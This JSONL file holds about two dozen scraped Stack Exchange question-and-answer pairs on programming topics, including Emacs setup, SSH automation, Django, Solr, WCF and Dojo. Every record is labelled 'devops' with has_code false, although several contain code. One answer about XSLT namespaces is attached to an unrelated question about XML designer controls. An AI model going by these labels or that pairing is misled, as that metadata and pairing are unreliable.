{"id": "hf_fd442b240bd5", "question": "<p>I would like to to try Emacs, and want to give it the best chance possible.</p>\n\n<p>To do this, it seems like having a good <code>.emacs</code> file is important.</p>\n\n<p>I primarily use Mac OS X (so I have looked at Aquamacs), and I mainly do Python programming, so anything specifically for that would be great.</p>\n", "question_body": "", "answer": "The most important configuration change that I have found is not one for your .emacs, but for your OS.  In the \"Keyboard & Mouse\" system preferences, in the \"Keyboard\" tab, click \"Modifier Keys...\" at the bottom and then change \"Caps Lock\" to behave like \"Control.\"  Then train yourself to use the caps lock key (to the left of the \"A\") instead of the control key down in the corner.  This will make the whole experience both far more productive and far more comfortable.\nsee:\nEmacs on Mac OS X Leopard key bindings", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.916070"}
{"id": "hf_dbc88db57f97", "question": "<p>Is there a way to pass a password to ssh automatically. I would like to automatically ssh to a server <b>without</b> using public key authentication or expect scripts, by somehow getting ssh to read the password from stdin or a file.</p>\n\n<p>The reason it has to be that way is that I would like to backup my files to a server using rsync/ssh running as a cron job. This server mounts my home directory <i>after</i> it authenticates me, so using public key authentication does not work since ~/.ssh isn't available until after the login is successful. expect(1) is out of the question because I would like to run it as a cron job, and since cron jobs don't run under a terminal the combination of expect/ssh just doesn't work. I do not have root access to that server, and it would be difficult to get the admins to make any changes to the way things work there.</p>\n", "question_body": "", "answer": "Rather than passing your password use a public/private key system.  Add the public key for a machine to the authorized keys list on all the machines you want to connect to. Using this method SSH can validate the keys automatically and no password is required.\nYou can find instructions here:\nhttp://linuxproblem.org/art_9.html\nSince I just read the question more carefully, you might want to look around for a different SSH client that supports password authentication without user interaction.  I quick google search hinted that they exist (\nhttp://www.derkeiler.com/Newsgroups/comp.security.ssh/2004-12/0134.html\n)\nRelated Stackoverflow questions:\nHow do I setup Public-Key Authentication?\nProvide password using Shell script\nHow can I automate running commands remotely over SSH?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:32.976998"}
{"id": "hf_7163c5b5dd10", "question": "<p>I have a simple question. Is there a way ( using reflections I suppose ) to iterate all the static values of a class?</p>\n\n<p>For instance </p>\n\n<pre><code>class Any {\n    static int one = 1;\n    static int two = 2;\n    static int three = 3;\n\n    public static void main( String [] args ) {\n          for( int i : magicMethod( Any.class ) ){\n              System.out.println( i );\n          }\n    }\n }\n</code></pre>\n\n<p>Output</p>\n\n<pre><code> 1\n 2\n 3\n</code></pre>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Hey.. it was very easy.  :P\n```\n```\nField [] constants = Main.class.getFields();\n      Object some = new Main();\n      for( Field field : constants ){\n          if(Modifier.isStatic(field.getModifiers() ) && \n             field.getType() == int.class  ) {\n                    System.out.println( field.getInt( some  ) );\n          }\n      }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.013237"}
{"id": "hf_c1289d8c84bf", "question": "<p>Given a UTC time string like this:</p>\n\n<pre><code>2005-11-01T00:00:00-04:00\n</code></pre>\n\n<p>What is the best way to convert it to a DateTime using a Crystal Reports formula?</p>\n\n<p>My best solution is posted below.</p>\n\n<p>I hope someone out there can blow me away with a one-liner...</p>\n", "question_body": "", "answer": "Here is my best solution, with comments:\n```\n```\n//assume a date stored as a string in this format:\n//2005-11-01T00:00:00-04:00\n//return a DateTime value\nStringVar fieldValue;\nStringVar datePortion;\nStringVar timePortion;\nNumberVar yearPortion;\nNumberVar monthPortion;\nNumberVar dayPortion;\nNumberVar hourPortion;\nNumberVar minutePortion;\nNumberVar secondPortion;\n\n//store the field locally so i can easily copy-paste into another formula\n//(where the field name will be different)\n//Crystal formulas do not use a powerful language.\nfieldValue := {PACT.ReferralDate};\n\n//break up the date & time parts.\n//ignore the -04:00 offset part of the time.\ndatePortion := Split (fieldValue,\"T\")[1];\ntimePortion := Split(Split (fieldValue,\"T\")[2],\"-\")[1];\n\nyearPortion := ToNumber(Split(datePortion,\"-\")[1]);\nmonthPortion := ToNumber(Split(datePortion,\"-\")[2]);\ndayPortion := ToNumber(Split(datePortion,\"-\")[3]);\n\nhourPortion := ToNumber(Split(timePortion,\":\")[1]);\nminutePortion := ToNumber(Split(timePortion,\":\")[2]);\nsecondPortion := ToNumber(Split(timePortion,\":\")[3]);\n\n//finally, return the result as a date-time\nDateTime(yearPortion,monthPortion,dayPortion,hourPortion,minutePortion,secondPortion);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.049147"}
{"id": "hf_26a0eb6f23ec", "question": "<p>how do i check if an item is selected or not in my listbox?\nso i have a button remove, but i only want that button to execute if an item is selected in the list box. im using asp.net code behind C#. I'd prefer if this validation occurred on the server side.</p>\n\n<p>cheers..</p>\n", "question_body": "", "answer": "On the callback for the button click, just check if the selected index of the list box is greater than or equal to zero.\n```\n```\nprotected void removeButton_Click( object sender, EventArgs e )\n{\n    if (listBox.SelectedIndex >= 0)\n    {\n        listBox.Items.RemoveAt( listBox.SelectedIndex );\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.073067"}
{"id": "hf_dddc395a8fe9", "question": "<p>In adobe Flex datagrid height is equally to fix height . I want to make datagrid height is depend data . </p>\n", "question_body": "", "answer": "You can set each row of the datagrid to fit based on the contents of a particular column of that row by setting the \"variableRowHeight\" attribute to true on the datagrid and setting the \"wordWrap\" attribute to true on the dataGridColumn that will contain the variable height content.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.095775"}
{"id": "hf_6d1b62e7aac5", "question": "<p>Is there a built-in way to know if a given session variable is a serialized object? Say I retrieve a value like $_SESSION['foo'], but I don't know if it was originally a string or if it is a serialized object. Is there some way to check, or once serialized does PHP just see a string as a string as a string? </p>\n", "question_body": "", "answer": "A string is a string is a string. I think the best you'll be able to do is just try to unserialize it, and if it works, it works. If it doesn't, it doesn't.\nThe only other option would be to use a regex to see if it \"looks\" like a serialized object. Just running\n```\nunserialize()\n```\non it might be easier though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.141594"}
{"id": "hf_c039c2161995", "question": "<p>This is a little confusing to explain, so bear with me here...</p>\n\n<p>I want to set up a system where a user can send templated emails via my website, except it's not actually sent using my server - it instead just opens up their own local mail client with an email ready to go. The application would fill out the body of the email with predefined variables, to save the user having to type it themselves. They can then edit the message as desired, should it not exactly suit their purposes.</p>\n\n<p>There's a number of reasons I want it to go via the user's local mail client, so getting the server to send the email is not an option: it has to be 100% client-side.</p>\n\n<p>I already have a mostly-working solution running, and I'll post the details of that as an answer, I'm wondering if there's any better way?</p>\n", "question_body": "", "answer": "The way I'm doing it now is basically like this:\nThe HTML:\n```\n```\n<textarea id=\"myText\">\n    Lorem ipsum...\n</textarea>\n<button onclick=\"sendMail(); return false\">Send</button>\n```\n```\nThe Javascript:\n```\n```\nfunction sendMail() {\n    var link = \"mailto:me@example.com\"\n             + \"?cc=myCCaddress@example.com\"\n             + \"&subject=\" + encodeURIComponent(\"This is my subject\")\n             + \"&body=\" + encodeURIComponent(document.getElementById('myText').value)\n    ;\n    \n    window.location.href = link;\n}\n```\n```\nThis, surprisingly, works rather well. The only problem is that if the body is particularly long (somewhere over 2000 characters), then it just opens a new email but there's no information in it. I suspect that it'd be to do with the maximum length of the URL being exceeded.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.164542"}
{"id": "hf_06ed3cc668bd", "question": "<p>I have a build server running CruiseControl.NET. It works well for the 7 projects that are configured to run on that server (let's call it server A).</p>\n\n<p>Now I have a new project that I wish to build on a different server (server B), but I want it to appear in the same ccnet dashboard as the existing projects. </p>\n\n<p>How do I configure CCNet for this scenario?</p>\n", "question_body": "", "answer": "In\n```\ndashboard.config\n```\n(default location is\n```\nc:\\Program Files\\CruiseControl.NET\\webdashboard\\dashboard.config\n```\n) take a look at the\nServers Configuration Block\n:\n```\n```\n<servers>\n       <server name=\"local\" url=\"tcp://localhost:21234/CruiseManager.rem\"\n               allowForceBuild=\"true\" allowStartStopBuild=\"true\" />\n   </servers>\n```\n```\nIt allows you to configure the remote servers you want to report on - just add another\n```\n<server />\n```\nnode.\nTo force the changes to appear on your CruiseControl.NET dashboard, edit the web.config file in the same folder and save it. Refresh the dashboard web page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.223438"}
{"id": "hf_79af30b8b9f2", "question": "<p>Can anyone reccomend a .net control (winforms) that can be used to as a designer to edit xml files / DSL files ??</p>\n", "question_body": "", "answer": "Why might an XSLT fail?\nAn XSLT will fail because of obvious things like typos. However, the most likely situation relates to namespace usage. If you declared a default namespace for your XML but don't include that in your XSLT, the XSLT won't match the templates as you might expect.\nThe following example adds the\n```\nxmlns:business\n```\nattribute which declares that items qualified by the\n```\nbusiness\n```\nprefix belong to the namespace\n```\nmynamespace.uri\n```\n. I then used this prefix to qualify the Address and Addresses template matches. Of course, you will need to change the namespace URI to whatever matches the default namespace of your XML file.\n```\n```\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n                xmlns:msxsl=\"urn:schemas-microsoft-com:xslt\"\n                xmlns:business=\"mynamespace.uri\"\n                exclude-result-prefixes=\"msxsl\">\n  <xsl:template match=\"/\">\n    <xsl:apply-templates select=\"@*|node()\"/>\n  </xsl:template>\n\n  <xsl:template match=\"@*|node()\">\n    <xsl:copy>\n      <xsl:apply-templates select=\"@*|node()\"/>\n    </xsl:copy>\n  </xsl:template>\n\n  <xsl:template match=\"business:Addresses\">\n    <xsl:element name=\"BusinessAddresses\">\n      <xsl:apply-templates select=\"@*|node()\" />\n    </xsl:element>\n  </xsl:template>\n\n  <xsl:template match=\"business:Address\">\n    <xsl:element name=\"BusinessAddress\">\n      <xsl:apply-templates select=\"@*|node()\"/>\n    </xsl:element>\n  </xsl:template>\n</xsl:stylesheet>\n```\n```\nHow do you match templates based on element location as well as name?\nThere are several ways to achieve this last part to your problem, BusinessAddress or ContactAddress, but the easiest is to modify the template\n```\nmatch\n```\nattributes to consider parent nodes. If you think of the\n```\nmatch\n```\nattribute as a path into the XML for a node, this option becomes clearer (contents of templates left out for brevity):\n```\n```\n<xsl:template match=\"business:Business/business:Addresses>\n</xsl:template>\n\n<xsl:template match=\"business:Business/business:Addresses/business:Address\">\n</xsl:template>\n\n<xsl:template match=\"business:Contact/business:Addresses\">\n</xsl:template>\n\n<xsl:template match=\"business:Contact/business:Addresses/business:Address\">\n</xsl:template>\n```\n```\nOther methods exist for achieving this if the\n```\nmatch\n```\nremains based on just the element name, but they're harder to implement, follow, and maintain as they involve the use of conditional checks on the parent node hierarchy of the element being processing, all within the template.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.262863"}
{"id": "hf_401d648b81a5", "question": "<p>I'm just concerned about Windows, so there's no need to go into esoterica about Mono compatibility or anything like that.</p>\n\n<p>I should also add that the app that I'm writing is WPF, and I'd prefer to avoid taking a dependency on <code>System.Windows.Forms</code> if at all possible.</p>\n", "question_body": "", "answer": "The simplest way would be to create an Autoplay Handler:\nhttp://www.codeproject.com/KB/system/AutoplayDemo.aspx\nAutoplay Version 2 is a feature in\n  Windows XP that will scan the first\n  four levels of a removable media, when\n  it arrives, looking for media content\n  types (music, graphics, or video).\n  Registration of applications is done\n  on a content type basis. When a\n  removable media arrives, Windows XP\n  determines what actions to perform by\n  evaluating the content and comparing\n  it to registered handlers for that\n  content.\nA\ndetailed MSDN article\nis also available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.287648"}
{"id": "hf_e036fc72abf9", "question": "<p>Given a Django.db models class:</p>\n\n<pre><code>class P(models.Model):\n   type = models.ForeignKey(Type) # Type is another models.Model class\n   name = models.CharField()\n</code></pre>\n\n<p>where one wishes to create a new P with a specified type, i.e. how does one make \"type\" to be a default, hidden field (from the user), where type is given likeso:</p>\n\n<pre><code>http://x.y/P/new?type=3 \n</code></pre>\n\n<p>So that in the form no \"type\" field will appear, but when the P is saved, its type will have id 3 (i.e. Type.objects.get(pk=3)).</p>\n\n<p>Secondarily, how does one (&amp; is it possible) specify a \"default\" type in the url, via urls.py, when using generic Django views, viz.</p>\n\n<pre><code>urlpatterns = ('django.generic.views.create_update',\n  url(r'^/new$', 'create_object', { 'model': P }, name='new_P'),\n)\n</code></pre>\n\n<p>I found that terribly difficult to describe, which may be part of the problem. :) Input is much appreciated!</p>\n", "question_body": "", "answer": "To have a default Foreign Key in a model:\n```\n```\nmydefault = Type.objects.get(pk=3)\n\nclass P(models.Model):\n   type = models.ForeignKey(Type, default=mydefault) # Type is another models.Model class\n   name = models.CharField()\n```\n```\nNote that using\n```\npk=x\n```\nis pretty ugly, as ideally you shouldn't care what the primary key is equal to.  Try to get to the object you want by some other attribute.\nHere\n's how you put defaults in your urls:\n```\n```\n# URLconf\nurlpatterns = patterns('',\n    (r'^blog/$', 'blog.views.page'),\n    (r'^blog/page(?P<num>\\d+)/$', 'blog.views.page'),\n)\n\n# View (in blog/views.py)\ndef page(request, num=\"1\"):\n    # Output the appropriate page of blog entries, according to num.\n```\n```\nIn the above example, both URL patterns point to the same view -- blog.views.page -- but the first pattern doesn't capture anything from the URL. If the first pattern matches, the page() function will use its default argument for num, \"1\". If the second pattern matches, page() will use whatever num value was captured by the regex.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.311632"}
{"id": "hf_e0b2ddcd0d80", "question": "<p>Pretty self explanatory. I just need to export lists easily to xml format. Are there any tools that accomplish this?</p>\n", "question_body": "", "answer": "You can write a c# application pretty easily to connect to the sp list and export it out yourself.\nA quick search on codeplex search comes up with one such program already made for this purpose! Hope this can help you:\nhttp://www.codeplex.com/SPListReader\nhttp://www.codeplex.com/SPListReader/Release/ProjectReleases.aspx?ReleaseId=15420", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.336735"}
{"id": "hf_692cac2a0696", "question": "<p>Im developing a \"desktop\" for WM6+ and i was wondering if i can override the draw that WM does when it starts the OS (like the start menu, softkey bar, and background) basically have my program draw the today screen instead of windows. My program will of course integrate everything that the original \"screen\" integrated.</p>\n\n<p>C++</p>\n", "question_body": "", "answer": "Do you want to implement a today screen \"theme\" or have the device operate in kiosk mode? The first one is easy - you would need great experience to do the second one.\nThere are commercial solutions available that will enable you to operate your device in \"Kiosk\" mode. These aren't cheap though. If you plan to do it yourself, then good knowledge of Windows CE OS is needed - I suggest that you download Platform Builder (I am not sure how they call it now) and have a look at the source code. This is the best way to learn about the internals of the system.\nOne, not so perfect but easy to implement solution, is to create a full screen application and have it launched at start up. You need also to intercept the hardware keys.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.372162"}
{"id": "hf_415d300273b6", "question": "<p>I'm using JMX to save some diagnostic information from a remote process. Looking at the interface in jconsole shows that the return type is <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/javax/management/openmbean/CompositeData.html\" rel=\"noreferrer\">CompositeData</a> (the data actually comes back as <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/javax/management/openmbean/CompositeDataSupport.html\" rel=\"noreferrer\">CompositeDataSupport</a>). I want to output all the key/value pairs that are associated with this object.</p>\n\n<p>The problem is that the interface just seems to have a \"values()\" method with no way of getting the keys. Am I missing something here? Is there some other way to approach this task?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "If I'm not mistaken you could do\n```\n```\nSet< String > keys = cData.getCompositeType().keySet();\n```\n```\n(given that cData is a CompositeData object)\nhttp://java.sun.com/j2se/1.5.0/docs/api/javax/management/openmbean/CompositeType.html#keySet()", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.397020"}
{"id": "hf_05fc0670ab6d", "question": "<p>I am adding objects into a java Vector using its add(Object) method.\nIn my example, the first 5 objects are identical, followed by 2 instances different from the first five.\nFor some reasons, as soon as I insert the first one that is different, it changes the entire vector to that value!</p>\n\n<p>'values' is an iterator containing something like\n'1','1','1','1','1','2','2'</p>\n\n<pre><code>\nVector temp = new Vector();    \nwhile (values.hasNext()) {\n     temp.add(values.next());\n     System.out.println(temp.toString());\n}\n</code></pre>\n\n<p>It will output something like</p>\n\n<blockquote>\n  <p>[1]<br>\n  [1,1]<br>\n  [1,1,1]<br>\n  [1,1,1,1]<br>\n  [1,1,1,1,1]<br>\n  [2,2,2,2,2,2]<br>\n  [2,2,2,2,2,2,2]  </p>\n</blockquote>\n\n<p>I tried using a LinkedList, as well as using add(object, index). Same thing happened.</p>\n", "question_body": "", "answer": "I suspect that, somehow, the \"objects\" you are getting from the iterator are really multiple references to a single instance of a mutable object, which is changing its state from \"1\" to \"2\". The thing I can't guess at is how it's changing state in this apparently single-threaded operation.\nCan you post more complete code? Show where\n```\nvalues\n```\ncomes from and how it is initialized.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.432770"}
{"id": "hf_33d4d89d8ee2", "question": "<p>This is truly a beginner question, so I apologize in advance.</p>\n\n<p>I have Visual Studio 2008 Standard installed and would like to create a small Windows application that does NOT require any .NET framework when run on computers. Does VS 2008 Standard support such a feature? Any pointers on how to accomplish this would be fantastic.</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Sure, you can definitely do this. You'll have to write your application in C++, though.\nTo get started, go to File | New, and under Project Types pick one of the options under Visual C++. For the minimal dependencies, I would suggest one of the Win32 options. Both the \"Win32 Console Application\" and the \"Win32 Project\" options appear to take you to the same wizard, which if you click Application Settings on the left lets you pick whether to create a console app or a windows app. A console app will run in a console window like cmd.exe, whereas a windows app will initially have no UI (you'll have to do the UI yourself).\nBe aware that even if you don't depend on the .NET runtime, you'll still need to have the CRT dlls available on machines that will be running your program. The redistributables for these live under the Visual Studio install dir, which if you installed in the default location would be C:\\Program Files\\Microsoft Visual Studio 9.0\\VC\\redist.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.480755"}
{"id": "hf_de5ee61be1db", "question": "<p>Has anyone found a plugin for Visual Studio to allow for PowerShell syntax highlighting or IntelliSense? If not, does anyone have any idea why not?  I keep hoping someone else with copious free time would have tackled this by now. I have hope since other folks have managed to take the limited documentation and build custom IntelliSense providers for other languages such as <a href=\"http://sentia.com.au/2008/05/i-love-haml-but-i.html\" rel=\"noreferrer\">NHaml</a>.</p>\n\n<p>Edit: To clarify,I'm not looking for a list of IDEs that can be used to develop PowerShell . I spend 90% of my day in Visual Studio.  It already does a really good job of slicing and dicing code. That is the IDE I prefer to use to edit all text and code.  The lack of PowerShell syntax highlighting now that I work with PowerShell scripts is down right painful.</p>\n", "question_body": "", "answer": "I have not seen anything about Visual Studio  Intellisense for PowerShell scripts.\nI recommend you to try some other tools like:\nPowerTab\nPowerGUI\nLook this screen cast:\n(source:\naaronlerch.com\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.504650"}
{"id": "hf_97f7347a6c10", "question": "<p>Is there some nice documentation for Windows batch scripting I can download and refer to while offline?</p>\n", "question_body": "", "answer": "Google hits, for \"windows batch scripting documentation\" - first page:\nhttp://labmice.techtarget.com/scripting/batchfiles.htm\nhttp://www.allenware.com/icsw/icswidx.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.529125"}
{"id": "hf_d0a2f0866b07", "question": "<p>If you have a Property that gets and sets to an instance variable then normally you always use the Property from outside that class to access it. </p>\n\n<p>My question is should you also always do so within the class? I've always used the Property if there is one, even within the class, but would like to hear some arguments for and against as to which is the most correct and why. </p>\n\n<p>Or is it just a matter of coding standards being used on the project?</p>\n", "question_body": "", "answer": "It depends on whether you want to apply any logic implemented within the property setter, and so you really have to decide on a case by case basis.\nWhen you go directly to the private field, you know that the field is being set to exactly what you say.\nWhen you go through the Property, the value gets set according to the setter logic, so you get any business rules or validation you want over values assigned to that field.\nPretty hard to come up with a rule about when doing either is 'correct', about the only one I'd say I follow is that in constructor initialisation I'd pretty much never use the Property.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.553298"}
{"id": "hf_9f50ff07db62", "question": "<ol>\n<li><p>We currently just utilize soap webservices for all our communication but have been thinking about moving to WCF instead. What are the benefits of using it over an asmx service?</p></li>\n<li><p>If we do go with a WCF service, can other languages still communicate with it? SOAP is standardized and all languages can interact with it.</p></li>\n<li><p>Are there any really good examples of how to get started with WCF that show the benefits of it over soap?</p></li>\n</ol>\n\n<p><strong>EDIT</strong></p>\n\n<ul>\n<li>I just found <a href=\"https://stackoverflow.com/questions/216931/what-is-the-difference-between-an-aspnet-web-method-and-a-wcf-service\">this</a> question which is quite helpful.</li>\n<li>The <a href=\"http://msdn.microsoft.com/en-us/library/ms734712.aspx\" rel=\"nofollow noreferrer\">Getting Started Tutorial</a> is great.</li>\n</ul>\n", "question_body": "", "answer": "There's a bit of a learning curve with WCF, but once you learn it it's no harder to implement than an asmx web services. One advantage is you can easily switch protocols and serialization from binary remoting all the way to\nweb protocols\n. It's also easy to host either in IIS or out.\nOther languages can communicate with the web protocols. Binary, not so much...\nI just dug into the\nGetting Started Tutorial\n. It does a good job of showing the relative ease-of-use. From there, take a look at\nHosting\nand more detailed\nFeatures\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.589088"}
{"id": "hf_6f51288e8125", "question": "<p>I have problems with how to design some classes. I have three classes. One superclass, and two subclasses. </p>\n\n<p>One subclass (AnimatedCharacter) is made by flash, and is used to display the object on screen. The other (CharacterPhysics) is made by myself to extend the superclass.</p>\n\n<p>The problem is that the object I use, is of the type AnimatedCharacter, so I can't just put it in a variable of type CharacterPhysics.</p>\n\n<p>What I tried is some sort of Decorator pattern, by giving the object of type CharacterPhysics a reference to the other object. But now I have to override all the methods of the superclass and pass the methodcalls to the reference. Not an ideal situation.</p>\n\n<p>Does someone know how to solve this kind of problem?</p>\n\n<p><a href=\"http://www.freeimagehosting.net/uploads/7a95f8352c.png\" rel=\"nofollow noreferrer\">alt text http://www.freeimagehosting.net/uploads/7a95f8352c.png</a></p>\n", "question_body": "", "answer": "I don't quite understand the purpose of this class structure you describe (the class names confuse me), but in general a few things come to mind that might help you:\nAlmost always the best solution is to try and rethink your class model by evaluating whether you should for example break up the\nresponsibilities\nof classes in an alternate way so that you could utilize inheritance and polymorphism in a better way.\n\"The problem is that the object I use,\n  is of the type AnimatedCharacter, so I\n  can't just put it in a variable of\n  type CharacterPhysics.\"\nIf you want to put an\n```\nAnimatedCharacter\n```\ninto a variable of type\n```\nCharacterPhysics\n```\n, the former should extend the latter, or you should have a common interface (or superclass) for both and then type the variable as such. If this is not possible, my opinion is that you should probably try to rethink and refactor your whole class structure, assuming that you have a solid \"object-oriented\" reason for wanting to do this in the first place ;).\nIf the above is not possible, there are some other tricks you can evaluate in your context:\nThe use of\nmixins\ncan work as a \"poor man's multiple inheritance\". Derek Wischusen has some examples on how to implement them in AS3 at\nflexonrails.net\n.\n\"Kind of\" implementing the decorator pattern with\nflash.utils.Proxy\n. The problem with this approach is that you defer a lot of error checking from compile time to runtime, but the good thing is that you don't have to manually write the \"proxying\" implementations of all of the methods of the \"decorated\" object, but write just one (\n```\ncallProperty()\n```\n) instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.613534"}
{"id": "hf_a3f47b16c5b5", "question": "<p>How do I pick/ delete all the documents from Solr using the boolean NOT notion?</p>\n\n<p>i.e. How do I delete all the documents from Solr who's id does NOT start with A59?</p>\n", "question_body": "", "answer": "Use\n```\n-\n```\nto indicate\n```\nNOT\n```\n.\nFor example, to query  documents with id not starting with A59, the query would be:\n```\n-id:A59*\n```\n, that is:\n```\n/solr/select/?q=-id:A59*\n```\nTo delete by query, post the query in a delete message to the update handler, as specified\nhere\n.\nEDIT:\n```\nNOT\n```\n(all uppercase) can also be used as boolean operator", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.649465"}
{"id": "hf_75af23dc3360", "question": "<p>I'm trying to use a dojo combobox with an Ajax data source.  What I have is </p>\n\n<pre><code>&lt;div dojoType=\"dojo.data.ItemFileReadStore\" \n     jsId=\"tags\" \n     url=\"&lt;%=ResolveClientUrl(\"~/Tag/TagMatches\")%&gt;\" &gt;\n&lt;/div&gt;\n&lt;select dojoType=\"dijit.form.ComboBox\" \n        store=\"tags\" \n        value=\"\" \n        name=\"tagName\"&gt;\n&lt;/select&gt;\n</code></pre>\n\n<p>Which does work except that I can't restrict the search set on the server side because I don't know how to change the url from which the data is pulled in order to specify a parameter.  Any hints? </p>\n", "question_body": "", "answer": "If I understand you correctly, you want the client to load different set of data from the server based on some general condition defined elsewhere.\nBasically there is no need to have a\n```\n<div>\n```\npre-defined. You can also create the\n```\nItemFileReadStore\n```\ndirectly in JavaScript:\nearlier...:\n```\n```\nvar tagMatchUrlBase = '<%=ResolveClientUrl(\"~/Tag/TagMatches\")%>';\n```\n```\nlater...:\n```\n```\nvar tagMatchUrl = tagMatchUrlBase + \"?f=\" + escape(somefilterString);\nvar store = new dojo.data.ItemFileReadStore({url: tagMatchUrl});\ntagName.store = store;\n// maybe use store.fetch() to pre-select item #1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.672564"}
